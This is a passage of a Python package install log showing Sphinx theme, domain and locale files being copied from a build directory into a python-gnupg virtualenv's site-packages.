/home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static/bgfooter.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static/agogo.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static/bgtop.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/genindex-split.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/sourcelink.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/genindex-single.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/opensearch.xml -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/localtoc.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/page.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/globaltoc.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/search.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/domainindex.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/relations.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/defindex.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/searchresults.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/basic.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/plus.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/underscore.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/down.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/comment.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/comment-close.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/minus.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/down-pressed.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/file.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/comment-bright.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/searchtools.js_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/doctools.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/ajax-loader.gif -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/up-pressed.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/jquery.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/websupport.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/up.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes/frameset.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes/versionchanges.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes/rstsource.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/searchbox.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/genindex.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional + + copying build/lib.linux-x86_64-2.7/sphinx/themes/traditional/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/traditional/static/traditional.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub + + copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub + + copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/epub-cover.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub + + copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/static/epub.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature + + copying build/lib.linux-x86_64-2.7/sphinx/themes/nature/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/nature/static/nature.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/footerbg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/middlebg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/ie6.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-seealso.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-warning.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/transparent.gif -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/headerbg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/epub.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-topic.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/pyramid.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-note.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/artwork + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/artwork/logo.svg -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/artwork + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/scrolls.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/theme_extras.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/watermark.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/metal.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/navigation.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/print.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/headerbg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/logo.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/watermark_blur.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/darkmetal.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc + + copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc + + copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static/contents.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static/sphinxdoc.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static/navigation.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default + + copying build/lib.linux-x86_64-2.7/sphinx/themes/default/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default + + copying build/lib.linux-x86_64-2.7/sphinx/themes/default/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/default/static/default.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/default/static/sidebar.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default/static + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku + + copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku + + copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/alert_warning_32.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/bg-page.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/bullet_orange.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/alert_info_32.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static + + copying build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static/haiku.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/haiku/static + + copying build/lib.linux-x86_64-2.7/sphinx/pygments_styles.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + copying build/lib.linux-x86_64-2.7/sphinx/domains/c.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + copying build/lib.linux-x86_64-2.7/sphinx/domains/rst.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + copying build/lib.linux-x86_64-2.7/sphinx/domains/std.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + copying build/lib.linux-x86_64-2.7/sphinx/domains/python.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + copying build/lib.linux-x86_64-2.7/sphinx/domains/cpp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + copying build/lib.linux-x86_64-2.7/sphinx/domains/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + copying build/lib.linux-x86_64-2.7/sphinx/domains/javascript.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/it/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/et/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fr/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_TW/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/cs/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lv/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pl/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/hr/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/bn/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sl/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ko/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/nl/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES/sphinx.po -> 